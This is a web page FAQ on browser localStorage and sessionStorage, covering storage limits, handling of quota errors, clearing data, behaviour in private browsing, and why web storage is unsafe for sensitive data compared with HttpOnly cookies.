The Web Storage specification recommends a default storage limit of 5MB per origin, but actual limits vary by browser. Most modern browsers (Chrome, Firefox, Safari) allow around 5-10MB per origin for localStorage. sessionStorage typically has the same limit but per tab. However, the limit is not guaranteed and can be as low as 2MB in some older browsers. To handle quota exceeded errors, wrap setItem() calls in try-catch blocks and gracefully degrade. Always avoid storing sensitive or large amounts of data in web storage.

Is localStorage secure for storing sensitive data?

No, localStorage and sessionStorage are not secure for sensitive data like passwords, tokens, or personal information. They are accessible to any JavaScript running on the same origin, making them vulnerable to XSS (Cross-Site Scripting) attacks. If an attacker injects script, they can read all stored data. Unlike cookies, web storage does not have the HttpOnly flag to prevent script access. Therefore, never store authentication tokens, credit card numbers, or other sensitive data in localStorage. Use server-side sessions with secure cookies or other secure storage mechanisms instead.

How do I clear all items in localStorage or sessionStorage?

To clear all items, use the clear() method: localStorage.clear(); or sessionStorage.clear();. This removes every key-value pair associated with the origin (or the tab for sessionStorage). If you want to remove a specific item, use removeItem(key). For example, localStorage.removeItem('user');. Be cautious when using clear(), as it will wipe all data your application has stored, including data from other parts of your app. Always consider whether you need to preserve certain keys.

Can I use localStorage in private browsing or incognito mode?

In most browsers, localStorage is available in private browsing but with limitations. For example, in Safari, localStorage is disabled in private mode and setItem() throws an exception. In Chrome and Firefox, localStorage works but is cleared when the private window closes. To handle this, always wrap localStorage access in try-catch and provide fallbacks, such as using in-memory storage or cookies, if needed. This ensures your application doesn't break for users who rely on private browsing.

What happens when localStorage is full?

When localStorage reaches its storage limit, any attempt to add new data via setItem() will throw a QuotaExceededError (or similar) exception. This can happen silently if not caught, causing your application to fail. To handle this, wrap your setItem() calls in try-catch blocks and check the error name. You can then inform the user, clear old data, or fall back to sessionStorage or in-memory storage. It's also good practice to periodically clean up unused keys.

How does sessionStorage differ from cookies?

sessionStorage and cookies serve different purposes. Cookies are sent to the server with every HTTP request, while sessionStorage data stays only in the browser and is never transmitted. Cookies have a size limit of about 4KB, whereas sessionStorage typically allows around 5MB. Cookies can set an expiration date, while sessionStorage clears when the tab closes. Cookies are often used for server-side sessions, while sessionStorage is for client-side temporary data. Also, cookies have the HttpOnly attribute that can prevent JavaScript access, which is not possible with web storage.

Sources and further reading

Need help with this topic?

Send us your details and we will contact you.

    Leave a Reply

    Your email address will not be published. Required fields are marked *